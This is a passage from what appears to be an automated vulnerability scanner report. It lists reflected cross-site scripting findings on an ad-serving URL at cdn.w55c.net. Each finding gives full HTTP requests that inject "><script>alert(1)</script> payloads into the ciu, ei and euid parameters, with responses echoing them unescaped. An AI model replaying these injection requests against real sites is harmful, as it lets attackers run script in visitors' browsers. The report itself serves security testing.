GET /i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4b92c7"><script>alert(1)</script>e45bffd3462&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679995&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661995029&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303661995034&frm=1&adk=2614322350&ga_vid=1092593501.1303661995&ga_sid=1303661995&ga_hid=294155726&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=7
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:13:06 GMT
Server: w55c.net
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:20:13 GMT
Cache-Control: no-cache, no-store
content-type: text/html
P3P: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Tue, 19 Apr 2011 21:53:32 GMT
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 429
pragma: no-cache
Via: 1.1 mdw061005 (MII-APC/1.6)
Content-Length: 2260

<IFRAME SRC="http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB
...[SNIP]...
5300325.14;abr=!ie;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4b92c7"><script>alert(1)</script>e45bffd3462&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh
...[SNIP]...

6.85. http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [ciu parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0Rl7Vm3VTU_682412618.html

Issue detail

The value of the ciu request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ede4"><script>alert(1)</script>238e489c11a was submitted in the ciu parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ2ede4"><script>alert(1)</script>238e489c11a&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679995&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661995029&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303661995034&frm=1&adk=2614322350&ga_vid=1092593501.1303661995&ga_sid=1303661995&ga_hid=294155726&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=7
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:13:06 GMT
Server: w55c.net
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:20:11 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Tue, 19 Apr 2011 21:53:32 GMT
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 427
Cache-Control: no-cache, no-store
pragma: no-cache
Via: 1.1 mdw061007 (MII-APC/1.6)
Content-Length: 2260

<IFRAME SRC="http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB
...[SNIP]...
VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ2ede4"><script>alert(1)</script>238e489c11a&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTY
...[SNIP]...

6.86. http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [ciu parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0Rl7Vm3VTU_682412618.html

Issue detail

The value of the ciu request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d485"><script>alert(1)</script>e16a7c6290e was submitted in the ciu parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=1d485"><script>alert(1)</script>e16a7c6290e&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679995&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661995029&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303661995034&frm=1&adk=2614322350&ga_vid=1092593501.1303661995&ga_sid=1303661995&ga_hid=294155726&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=7
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:13:06 GMT
Server: w55c.net
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:20:12 GMT
Cache-Control: no-cache, no-store
content-type: text/html
P3P: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Tue, 19 Apr 2011 21:53:32 GMT
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 428
pragma: no-cache
Via: 1.1 mdw061004 (MII-APC/1.6)
Content-Length: 2232

<IFRAME SRC="http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=1d485"><script>alert(1)</script>e16a7c6290e&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTY
...[SNIP]...

6.87. http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [ei parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0Rl7Vm3VTU_682412618.html

Issue detail

The value of the ei request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5a76f"><script>alert(1)</script>c1f5de777b5 was submitted in the ei parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK5a76f"><script>alert(1)</script>c1f5de777b5&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679995&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661995029&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303661995034&frm=1&adk=2614322350&ga_vid=1092593501.1303661995&ga_sid=1303661995&ga_hid=294155726&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=7
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:13:06 GMT
Server: w55c.net
Cache-Control: no-cache, no-store
pragma: no-cache
P3P: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:20:04 GMT
content-type: text/html
Last-Modified: Tue, 19 Apr 2011 21:53:32 GMT
Accept-Ranges: bytes
Age: 420
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Via: 1.1 mdw061008 (MII-APC/1.6)
Content-Length: 2260

<IFRAME SRC="http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK5a76f"><script>alert(1)</script>c1f5de777b5&euid=Q0FFU0VPO
...[SNIP]...
<SCRIPT language='JavaScript1.1' SRC="http://ad.doubleclick.net/adj/N4860.158901.DATAXU/B5300325.14;abr=!ie;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK5a76f"><script>alert(1)</script>c1f5de777b5&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MF
...[SNIP]...

6.88. http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [ei parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0Rl7Vm3VTU_682412618.html

Issue detail

The value of the ei request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6e094"><script>alert(1)</script>a0646252eb1 was submitted in the ei parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=6e094"><script>alert(1)</script>a0646252eb1&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679995&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661995029&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303661995034&frm=1&adk=2614322350&ga_vid=1092593501.1303661995&ga_sid=1303661995&ga_hid=294155726&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=7
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:13:06 GMT
Server: w55c.net
Cache-Control: no-cache, no-store
content-type: text/html
P3P: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:20:05 GMT
Accept-Ranges: bytes
Last-Modified: Tue, 19 Apr 2011 21:53:32 GMT
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 421
pragma: no-cache
Via: 1.1 mdw061001 (MII-APC/1.6)
Content-Length: 2218

<IFRAME SRC="http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=6e094"><script>alert(1)</script>a0646252eb1&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MF
...[SNIP]...

6.89. http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [euid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0Rl7Vm3VTU_682412618.html

Issue detail

The value of the euid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e3008"><script>alert(1)</script>1337d721962 was submitted in the euid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=e3008"><script>alert(1)</script>1337d721962&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679995&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661995029&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303661995034&frm=1&adk=2614322350&ga_vid=1092593501.1303661995&ga_sid=1303661995&ga_hid=294155726&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=7
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:13:06 GMT
Server: w55c.net
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:20:08 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Tue, 19 Apr 2011 21:53:32 GMT
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 424
Cache-Control: no-cache, no-store
pragma: no-cache
Via: 1.1 mdw061006 (MII-APC/1.6)
Content-Length: 2188

<IFRAME SRC="http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=e3008"><script>alert(1)</script>1337d721962&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.re
...[SNIP]...

6.90. http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [euid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0Rl7Vm3VTU_682412618.html

Issue detail

The value of the euid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81612"><script>alert(1)</script>19610998b64 was submitted in the euid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn81612"><script>alert(1)</script>19610998b64&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679995&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661995029&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303661995034&frm=1&adk=2614322350&ga_vid=1092593501.1303661995&ga_sid=1303661995&ga_hid=294155726&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=7
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
